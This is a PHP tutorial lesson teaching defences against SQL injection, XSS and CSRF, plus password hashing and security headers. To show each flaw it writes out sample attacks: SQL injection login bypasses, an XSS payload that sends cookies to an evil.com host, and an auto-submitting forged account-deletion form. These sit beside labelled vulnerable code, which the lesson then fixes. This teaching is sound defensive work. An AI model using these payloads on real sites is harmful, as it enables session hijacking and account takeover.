Skip to main content

🔒 Lesson 23: Security Fundamentals

Security isn't a feature you bolt on at the end — it's a mindset that shapes every line of code you write. In this lesson, you'll learn about the three most common web application vulnerabilities — SQL Injection, Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) — and exactly how to defend against each one. You'll also learn to hash passwords properly so that even a database breach doesn't expose your users' credentials.

🎯 Learning Objectives

By the end of this lesson, you will be able to:

  • Explain how SQL injection works and why prepared statements prevent it
  • Identify and prevent Cross-Site Scripting (XSS) with output escaping
  • Implement CSRF token protection on forms
  • Hash and verify passwords using password_hash() and password_verify()
  • Apply the principle of defense in depth across your application
  • Recognize insecure code patterns and fix them

Estimated Time: 50 minutes

Prerequisites: Lessons 11–12 (forms, validation), Lessons 15 (sessions), Lessons 19–20 (PDO)

📑 In This Lesson

The Security Mindset

Every piece of data that enters your application — form inputs, URL parameters, cookies, headers, file uploads, even database values — is untrusted until you've validated and sanitized it. The golden rule of web security:

📖 The Golden Rules

  1. Never trust input. All user-supplied data is potentially malicious.
  2. Validate input, escape output. Validate data when it arrives; escape it when you display it.
  3. Use the right tool for each context. SQL has prepared statements. HTML has htmlspecialchars(). URLs have urlencode(). Each context has its own escaping rules.
  4. Defense in depth. Don't rely on a single layer of protection. Stack multiple defenses so a failure in one doesn't compromise everything.
flowchart LR INPUT["🌐 User Input
Forms, URLs, Cookies"] VALIDATE["✅ Validate
Type, length, format"] PROCESS["⚙️ Process
Business logic"] ESCAPE["🛡️ Escape for Context
SQL → prepared stmt
HTML → htmlspecialchars
URL → urlencode"] OUTPUT["📤 Output
Browser, DB, Email"] INPUT --> VALIDATE --> PROCESS --> ESCAPE --> OUTPUT style INPUT fill:#fee2e2,stroke:#dc2626 style VALIDATE fill:#dcfce7,stroke:#16a34a style ESCAPE fill:#dbeafe,stroke:#2563eb

Let's look at the three most common vulnerabilities, what they look like, and exactly how to prevent them.

SQL Injection (SQLi)

SQL injection is the #1 most dangerous web vulnerability. It occurs when user input is inserted directly into a SQL query string, allowing an attacker to modify the query's logic.

The Vulnerable Code

<?php
// ❌ VULNERABLE — DO NOT USE
// User input is concatenated directly into the SQL string

$username = $_POST["username"];
$password = $_POST["password"];

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $pdo->query($sql);

$user = $result->fetch();
if ($user) {
    echo "Welcome, " . $user["username"];
} else {
    echo "Invalid credentials.";
}

The Attack

An attacker enters this as the username:

admin' --

The resulting SQL becomes:

SELECT * FROM users WHERE username = 'admin' --' AND password = ''

The -- is a SQL comment — it tells the database to ignore everything after it. The password check vanishes. The query now selects the admin user with no password required. The attacker is logged in as admin.

sequenceDiagram participant A as Attacker participant S as Server (PHP) participant D as Database A->>S: POST username: admin' -- S->>S: Build SQL by concatenation Note over S: SELECT * FROM users
WHERE username = 'admin' --'
AND password = '' S->>D: Execute modified query D->>S: Returns admin user row S->>A: "Welcome, admin" ← Attacker is now admin!

It gets worse. An attacker could also enter:

' OR 1=1 --

This returns all users in the database. Or they could use UNION SELECT to read other tables, or DROP TABLE to destroy data entirely.

The Fix: Prepared Statements

Prepared statements separate the SQL structure from the data. The database receives the query template first, then the values separately. It's physically impossible for user data to modify the query's structure.

<?php
// ✅ SAFE — Prepared statement with named placeholders

$username = $_POST["username"];
$password = $_POST["password"];

// The query structure is fixed — :username is a placeholder, not a string concat
$stmt = $pdo->prepare(
    "SELECT * FROM users WHERE username = :username"
);
$stmt->execute(["username" => $username]);

$user = $stmt->fetch();

// Verify the password separately (see Password Hashing section)
if ($user && password_verify($password, $user["password_hash"])) {
    echo "Welcome, " . htmlspecialchars($user["username"]);
} else {
    echo "Invalid credentials.";
}

📖 Why Prepared Statements Are Immune to SQLi

When you call $pdo->prepare($sql), the database parses and compiles the query structure — it knows exactly where the data slots are. When execute() sends the values, the database treats them as literal data, never as SQL code. Even if someone enters admin' --, the database searches for a user literally named admin' -- (which doesn't exist). The -- is just part of the search string, not a comment.

⚠️ Prepared Statements Don't Help With Everything

You can parameterize values (WHERE, INSERT, UPDATE data), but not identifiers (table names, column names, ORDER BY direction). If you need a dynamic column name, use a whitelist:

<?php
// ❌ Can't parameterize column names
$stmt = $pdo->prepare("SELECT * FROM users ORDER BY :column");
// This won't work — :column would be treated as a string literal

// ✅ Use a whitelist instead
$allowed = ["username", "email", "created_at"];
$column = in_array($_GET["sort"], $allowed) ? $_GET["sort"] : "created_at";
$stmt = $pdo->prepare("SELECT * FROM users ORDER BY $column ASC");
$stmt->execute();

SQLi Prevention Rules

Rule Why
Always use prepared statements They make SQLi physically impossible for parameterized values
Never concatenate user input into SQL Even "just this once" opens the door to injection
Whitelist dynamic identifiers Column and table names can't be parameterized — validate against an allowed list
Use PDO with ERRMODE_EXCEPTION Errors surface immediately instead of silently failing
Use a least-privilege DB account The web app's MySQL user shouldn't have DROP, GRANT, or FILE privileges

Cross-Site Scripting (XSS)

XSS occurs when an attacker injects malicious JavaScript into a page that other users view. The browser can't tell the difference between your legitimate scripts and the attacker's injected code — it executes both.

Types of XSS

Type How It Works Example
Stored (Persistent) Malicious script is saved to the database and displayed to all users who view the page A comment containing <script> tags that runs whenever anyone reads it
Reflected Malicious script is part of the URL and reflected back in the response A search page that displays "Results for: [unescaped input]" — attacker crafts a URL with a script in the search term
DOM-based JavaScript on the page reads from an attacker-controlled source (URL hash, referrer) and writes it to the DOM unsafely Client-side JS using document.location.hash in innerHTML

Stored XSS — The Attack

<?php
// ❌ VULNERABLE — User input displayed without escaping

// 1. Attacker submits a "comment" via a form:
//    <script>document.location='https://evil.com/steal?c='+document.cookie</script>

// 2. The comment is saved to the database (no issue here — the DB stores raw text)

// 3. Later, when anyone views the page:
$comments = $pdo->query("SELECT * FROM comments")->fetchAll();

foreach ($comments as $comment) {
    // ❌ Output without escaping — the script tag becomes live HTML
    echo "<div class='comment'>{$comment['body']}</div>";
}

// 4. Every visitor's browser executes the script — their cookies
//    are sent to the attacker's server. Session hijacking complete.

The Fix: Output Escaping

<?php
// ✅ SAFE — All output escaped with htmlspecialchars()

foreach ($comments as $comment) {
    $safeBody = htmlspecialchars($comment["body"], ENT_QUOTES, "UTF-8");
    echo "<div class='comment'>$safeBody</div>";
}

// The malicious script is now rendered as harmless text:
// &lt;script&gt;document.location=...&lt;/script&gt;
// The browser displays it as text, not code.

📖 What htmlspecialchars() Does

htmlspecialchars() converts characters that have special meaning in HTML into their entity equivalents:

Character Entity Why It Matters
< &lt; Opens HTML tags — used to inject <script>
> &gt; Closes HTML tags
& &amp; Starts HTML entities — could be used to smuggle characters
" &quot; Breaks out of HTML attribute values
' &#039; Breaks out of single-quoted attribute values (with ENT_QUOTES)

Always use ENT_QUOTES and "UTF-8" to cover all cases:

htmlspecialchars($value, ENT_QUOTES, "UTF-8")

Reflected XSS — The Attack

<?php
// ❌ VULNERABLE — Search query reflected without escaping

$query = $_GET["q"];
echo "<h2>Search results for: $query</h2>";

// Attacker sends this link to a victim:
// https://yoursite.com/search.php?q=<script>alert('XSS')</script>
// The victim clicks it, and the script executes in their browser
<?php
// ✅ SAFE — Escape the reflected input

$query = $_GET["q"] ?? "";
$safeQuery = htmlspecialchars($query, ENT_QUOTES, "UTF-8");
echo "<h2>Search results for: $safeQuery</h2>";

// The <script> tags are rendered as harmless text

Creating a Helper Function

Typing htmlspecialchars($value, ENT_QUOTES, "UTF-8") everywhere is verbose. Create a short helper:

<?php
/**
 * Escape a string for safe HTML output.
 * Short name for convenience — this is called everywhere.
 */
function e(string $value): string {
    return htmlspecialchars($value, ENT_QUOTES, "UTF-8");
}

// Usage — clean and readable:
echo "<p>" . e($comment["body"]) . "</p>";
echo "<input value=\"" . e($oldName) . "\">";

XSS Prevention Rules

Context Escape Method Example
HTML body htmlspecialchars() <p><?= e($text) ?></p>
HTML attributes htmlspecialchars() with ENT_QUOTES <input value="<?= e($val) ?>">
URL parameters urlencode() <a href="?q=<?= urlencode($q) ?>">
JavaScript strings json_encode() <script>let name = <?= json_encode($name) ?>;</script>
CSS values Whitelist allowed values Never inject user input into CSS

⚠️ Escaping ≠ Validation

Validation checks that data matches expected rules (is this a valid email? is this a number?). Escaping makes data safe for a specific output context. You need both. Validate on input, escape on output. They protect against different things.

Cross-Site Request Forgery (CSRF)

CSRF tricks a logged-in user into submitting a request they didn't intend to make. If you're logged into your bank and visit a malicious website, that site could contain a hidden form that submits a transfer request to your bank — and your browser helpfully attaches your session cookie.

The Attack

sequenceDiagram participant V as Victim (logged in) participant E as Evil Site participant B as Bank Website V->>E: Visits evil-site.com E->>V: Returns page with hidden form Note over E,V: <form action="bank.com/transfer">
<input name="to" value="attacker">
<input name="amount" value="10000"> V->>B: Browser auto-submits form with session cookie B->>B: Valid session → processes transfer Note over B: $10,000 sent to attacker!
<!-- On evil-site.com — a hidden form that auto-submits -->
<form action="https://yoursite.com/delete_account.php" method="POST" id="attack">
    <input type="hidden" name="confirm" value="yes">
</form>
<script>document.getElementById("attack").submit();</script>

<!-- If yoursite.com processes this POST without a CSRF token,
     the logged-in user's account gets deleted. -->

The Fix: CSRF Tokens

A CSRF token is a unique, unpredictable string generated per session (or per form) and embedded as a hidden field. When the form is submitted, the server checks that the token matches the one it generated. The attacker's evil site can't know the token value, so their forged form will fail validation.

<?php
// File: includes/csrf.php

/**
 * Generate or retrieve the CSRF token for the current session.
 */
function csrfToken(): string {
    if (session_status() === PHP_SESSION_NONE) {
        session_start();
    }

    // Generate a new token if one doesn't exist
    if (empty($_SESSION["csrf_token"])) {
        $_SESSION["csrf_token"] = bin2hex(random_bytes(32));
    }

    return $_SESSION["csrf_token"];
}

/**
 * Output a hidden form field with the CSRF token.
 */
function csrfField(): string {
    return '<input type="hidden" name="csrf_token" value="'
         . htmlspecialchars(csrfToken())
         . '">';
}

/**
 * Validate the CSRF token from a form submission.
 * Returns true if valid, false if missing or mismatched.
 */
function csrfValidate(): bool {
    if (session_status() === PHP_SESSION_NONE) {
        session_start();
    }

    $sessionToken = $_SESSION["csrf_token"] ?? "";
    $formToken    = $_POST["csrf_token"] ?? "";

    if (empty($sessionToken) || empty($formToken)) {
        return false;
    }

    // Use hash_equals for timing-safe comparison
    return hash_equals($sessionToken, $formToken);
}

Using CSRF Tokens in a Form

<?php
// File: delete_account.php

require_once "includes/csrf.php";
session_start();

// ---- Handle form submission ----
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    // 1. Validate the CSRF token FIRST
    if (!csrfValidate()) {
        die("Invalid request — CSRF token mismatch. Go back and try again.");
    }

    // 2. Token is valid — safe to process the action
    // ... delete the account ...

    echo "Account deleted.";
    exit;
}
?>

<!-- Display the confirmation form -->
<form method="POST" action="delete_account.php">
    <!-- CSRF token as a hidden field -->
    <?= csrfField() ?>

    <p>Are you sure you want to delete your account? This cannot be undone.</p>
    <button type="submit">Yes, Delete My Account</button>
    <a href="dashboard.php">Cancel</a>
</form>

📖 Why hash_equals() Instead of ===?

The === operator compares strings character by character and returns false as soon as it finds a mismatch. This creates a timing side-channel: by measuring response times, an attacker could guess the token one character at a time. hash_equals() always takes the same amount of time regardless of where the strings differ, making timing attacks impossible.

CSRF Prevention Rules

  • Every state-changing form (POST, PUT, DELETE) must include a CSRF token
  • Validate the token before processing any action
  • Generate tokens with random_bytes() — never use predictable values like timestamps or user IDs
  • Use the SameSite cookie attribute — Set SameSite=Lax or Strict on session cookies to block cross-origin form submissions in modern browsers
  • Don't use GET for destructive actions — GET requests are trivially triggered via <img> tags, links, etc.
<?php
// Set secure session cookie settings (call before session_start)
session_set_cookie_params([
    "lifetime" => 0,          // Expires when browser closes
    "path"     => "/",
    "domain"   => "",         // Current domain only
    "secure"   => true,       // HTTPS only
    "httponly"  => true,       // No JavaScript access
    "samesite" => "Lax",      // Block cross-site form submissions
]);
session_start();

Password Hashing

If your database is ever breached (and you should assume it will be), passwords stored in plain text or with weak hashing (MD5, SHA-1) are immediately compromised. Modern password hashing uses algorithms designed to be slow and expensive — making brute-force attacks impractical even with powerful hardware.

❌ How NOT to Store Passwords

<?php
// ❌ Plain text — attacker reads passwords directly
$password = $_POST["password"];
$sql = "INSERT INTO users (username, password) VALUES (?, ?)";
$pdo->prepare($sql)->execute([$username, $password]);

// ❌ MD5 — cracked in milliseconds with rainbow tables
$hash = md5($password);

// ❌ SHA-256 — fast hash, not designed for passwords
$hash = hash("sha256", $password);

// ❌ MD5 with salt — still fast, still crackable
$hash = md5($password . "my_secret_salt");

✅ The Right Way: password_hash() and password_verify()

PHP's password_hash() uses bcrypt by default — an algorithm specifically designed for password storage. It automatically generates a random salt, applies multiple rounds of hashing, and produces a string that includes the algorithm, cost, salt, and hash all in one.

<?php
// ---- REGISTRATION: Hash the password ----

$password = $_POST["password"];

// password_hash() handles everything: algorithm, salt, cost
$hash = password_hash($password, PASSWORD_DEFAULT);

// $hash looks like: $2y$10$N9qo8uLOickgx2ZMRZoMye.IjqdkePBu.FQl4M8BnHUrS2hGqYOyq
// It contains: algorithm ($2y$), cost (10), salt, and hash — all in one string

// Store ONLY the hash in the database (60+ characters — use VARCHAR(255))
$stmt = $pdo->prepare("INSERT INTO users (username, password_hash) VALUES (?, ?)");
$stmt->execute([$username, $hash]);

echo "Account created!";
<?php
// ---- LOGIN: Verify the password ----

$username = $_POST["username"];
$password = $_POST["password"];

// 1. Look up the user by username
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
$user = $stmt->fetch();

// 2. Verify the password against the stored hash
if ($user && password_verify($password, $user["password_hash"])) {
    // Password matches! Start a session
    session_start();
    $_SESSION["user_id"] = $user["id"];
    $_SESSION["username"] = $user["username"];
    header("Location: dashboard.php");
    exit;
} else {
    // IMPORTANT: Don't reveal whether the username or password was wrong
    echo "Invalid username or password.";
}

⚠️ Never Tell the Attacker What Failed

Always use a generic error like "Invalid username or password" — never "User not found" or "Wrong password." Specific errors let attackers enumerate valid usernames, which is half the battle for a brute-force attack.

Upgrading Hash Algorithms

PHP's PASSWORD_DEFAULT algorithm may change in future versions (e.g., from bcrypt to Argon2). Use password_needs_rehash() to automatically upgrade hashes when users log in:

<?php
// After a successful password_verify():
if (password_needs_rehash($user["password_hash"], PASSWORD_DEFAULT)) {
    // The stored hash uses an older algorithm or lower cost — upgrade it
    $newHash = password_hash($password, PASSWORD_DEFAULT);
    $pdo->prepare("UPDATE users SET password_hash = ? WHERE id = ?")
        ->execute([$newHash, $user["id"]]);
}

✅ Password Storage Summary

  • Hash with password_hash() — Uses bcrypt, auto-generates a unique salt
  • Verify with password_verify() — Compares a plain password against the stored hash
  • Use PASSWORD_DEFAULT — Always uses the strongest available algorithm
  • Upgrade with password_needs_rehash() — Keeps hashes up to date as defaults change
  • Store the hash in VARCHAR(255) — Leave room for longer future hash formats

HTTPS & Secure Headers

Everything you've learned so far protects against application-layer attacks. But if the connection between the browser and server isn't encrypted, an eavesdropper on the network can read everything — passwords, session cookies, personal data.

HTTPS Is Mandatory

HTTPS encrypts all traffic between the browser and server using TLS (Transport Layer Security). In modern web development, HTTPS isn't optional — it's a baseline requirement.

  • Free certificates: Let's Encrypt provides free, automated TLS certificates
  • Hosting providers handle it: Most hosts (Netlify, Vercel, shared hosting) offer one-click HTTPS
  • Browsers flag HTTP as insecure: Chrome and Firefox show warnings on non-HTTPS pages with forms

Security Headers

HTTP response headers can add additional layers of protection. Set these in your PHP code or Apache/Nginx configuration:

<?php
// Set security headers (call early, before any output)

// Force HTTPS for all future requests
header("Strict-Transport-Security: max-age=31536000; includeSubDomains");

// Prevent browsers from MIME-sniffing (guessing) content types
header("X-Content-Type-Options: nosniff");

// Prevent the page from being embedded in iframes (clickjacking protection)
header("X-Frame-Options: DENY");

// Enable the browser's XSS filter (older browsers)
header("X-XSS-Protection: 1; mode=block");

// Control what information the browser sends in the Referer header
header("Referrer-Policy: strict-origin-when-cross-origin");

// Content Security Policy — restrict which scripts/styles/images can load
// Start with a reporting-only policy and tighten as needed
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");
Header Protects Against
Strict-Transport-Security Downgrade attacks (HTTP instead of HTTPS)
X-Content-Type-Options MIME-type confusion attacks
X-Frame-Options Clickjacking (embedding your page in a hidden iframe)
Content-Security-Policy XSS, data injection, unauthorized resource loading
Referrer-Policy Leaking sensitive URLs to third parties

Defense in Depth Checklist

No single technique makes an application secure. Real security comes from layering multiple defenses so that a failure in one area doesn't compromise the entire system. Here's a checklist for every PHP application:

🛡️ The PHP Security Checklist

Input & Data

  • ☐ All SQL queries use prepared statements with parameterized values
  • ☐ All user input is validated (type, length, format) before processing
  • ☐ Dynamic SQL identifiers (column/table names) are whitelisted
  • ☐ File uploads are validated by MIME type (finfo), size, and extension

Output

  • ☐ All user-supplied data displayed in HTML is escaped with htmlspecialchars()
  • ☐ URL parameters are encoded with urlencode()
  • ☐ Data injected into JavaScript uses json_encode()
  • ☐ Error messages never expose database queries, file paths, or stack traces to users

Authentication

  • ☐ Passwords are hashed with password_hash(PASSWORD_DEFAULT)
  • ☐ Login errors don't reveal whether the username or password was wrong
  • ☐ Session IDs are regenerated after login with session_regenerate_id(true)
  • ☐ Failed logins are rate-limited or have increasing delays

Sessions & CSRF

  • ☐ Session cookies use Secure, HttpOnly, and SameSite=Lax
  • ☐ Every state-changing form includes a CSRF token
  • ☐ CSRF tokens are validated with hash_equals()
  • ☐ Destructive actions use POST (not GET)

Server & Configuration

  • ☐ HTTPS is enabled with a valid TLS certificate
  • ☐ Security headers are set (HSTS, X-Frame-Options, CSP, etc.)
  • display_errors is OFF in production (log_errors ON instead)
  • ☐ Upload directories block PHP execution
  • ☐ Database user has minimal privileges (no DROP, GRANT, FILE)

Hands-On Exercises

🏋️ Exercise 1: Fix the Vulnerable Code

Objective: Identify and fix all security vulnerabilities in this code.

Vulnerable Code:

<?php
// search.php — Find users by name

$search = $_GET["q"];

// Search the database
$sql = "SELECT * FROM users WHERE name LIKE '%$search%'";
$results = $pdo->query($sql)->fetchAll();

echo "<h2>Results for: $search</h2>";

foreach ($results as $user) {
    echo "<p>{$user['name']} — {$user['email']}</p>";
}
?>
💡 Hint

There are at least three vulnerabilities: SQL injection (concatenated input in query), reflected XSS (unescaped $search in HTML), and stored/reflected XSS (unescaped database values). Fix all three.

✅ Solution
<?php
// search.php — Fixed version

// 1. Get and validate input
$search = trim($_GET["q"] ?? "");

// 2. Use prepared statement (fixes SQL injection)
$stmt = $pdo->prepare(
    "SELECT * FROM users WHERE name LIKE :search"
);
$stmt->execute(["search" => "%" . $search . "%"]);
$results = $stmt->fetchAll();

// 3. Escape reflected input (fixes reflected XSS)
echo "<h2>Results for: " . htmlspecialchars($search, ENT_QUOTES, "UTF-8") . "</h2>";

// 4. Escape database values (fixes stored XSS)
foreach ($results as $user) {
    $name  = htmlspecialchars($user["name"], ENT_QUOTES, "UTF-8");
    $email = htmlspecialchars($user["email"], ENT_QUOTES, "UTF-8");
    echo "<p>$name — $email</p>";
}

🏋️ Exercise 2: Add CSRF Protection to the Task Manager

Objective: Retrofit the Task Manager from Lesson 21 with CSRF tokens.

Steps:

  1. Create includes/csrf.php with the csrfToken(), csrfField(), and csrfValidate() functions
  2. Add <?= csrfField() ?> to the create and edit forms
  3. Add csrfValidate() checks at the top of every POST handler
  4. Convert the delete link to a POST form with a CSRF token
  5. Test by manually tampering with the token value in the browser's dev tools — the server should reject the request
💡 Hint

For the delete action, replace the <a href="delete.php?id=X"> link with a small <form method="POST" action="delete.php"> containing hidden fields for both id and csrf_token. Style the submit button to look like the old delete link.

🏋️ Exercise 3: Build a Registration & Login System

Objective: Create a simple registration and login system using proper password hashing.

Requirements:

  1. Create a users table: id, username (UNIQUE), email, password_hash, created_at
  2. Build register.php: form with username, email, password, confirm password. Validate all fields, hash the password, insert into the database
  3. Build login.php: form with username and password. Look up the user, verify with password_verify(), start a session
  4. Build dashboard.php: only accessible when logged in, shows "Welcome, [username]"
  5. Build logout.php: destroys the session and redirects to login
  6. Include CSRF tokens on all forms
💡 Hint

For the password confirmation, check $_POST["password"] === $_POST["password_confirm"] during validation. After a successful login, call session_regenerate_id(true) to prevent session fixation. On dashboard.php, check if (!isset($_SESSION["user_id"])) and redirect to login.php if not logged in.

🎯 Quick Quiz

Question 1: What makes prepared statements immune to SQL injection?

Question 2: What is the difference between validation and escaping?

Question 3: Why is hash_equals() used instead of === for comparing CSRF tokens?

Question 4: Why should you use password_hash() instead of md5() or sha256()?

Question 5: How does a CSRF attack work?

Summary

🎉 Key Takeaways

  • SQL Injection: Never concatenate user input into SQL. Always use prepared statements with parameterized values. Whitelist dynamic identifiers.
  • XSS: Escape all output with htmlspecialchars(). Use the right escaping for each context (HTML, URL, JavaScript). Create an e() helper for convenience.
  • CSRF: Include a random token in every state-changing form. Validate it with hash_equals(). Set SameSite=Lax on session cookies.
  • Password Hashing: Use password_hash(PASSWORD_DEFAULT) to hash and password_verify() to check. Never store plain text, MD5, or SHA hashes.
  • HTTPS: Encrypt all traffic with TLS. Set security headers (HSTS, CSP, X-Frame-Options) for additional protection.
  • Defense in Depth: Layer multiple protections. Validate input, escape output, use prepared statements, add CSRF tokens, hash passwords, enforce HTTPS, set security headers.

📚 Additional Resources

🚀 What's Next?

You now know how to defend your PHP applications against the most common web vulnerabilities. In the final lesson — Lesson 24: Deployment, Next Steps & Best Practices — you'll learn how to take your application from your local LAMP stack to a live server. We'll cover deploying to free hosting, an introduction to Composer for dependency management, and a roadmap for your continued PHP learning journey including frameworks like Laravel and Symfony.

🎉 Congratulations!

You've completed Lesson 23! Security is a mindset, not a checklist — but having the checklist ensures you never forget the fundamentals. Every technique in this lesson is used in professional PHP applications and frameworks. You now have the knowledge to build applications that protect both your users and your data.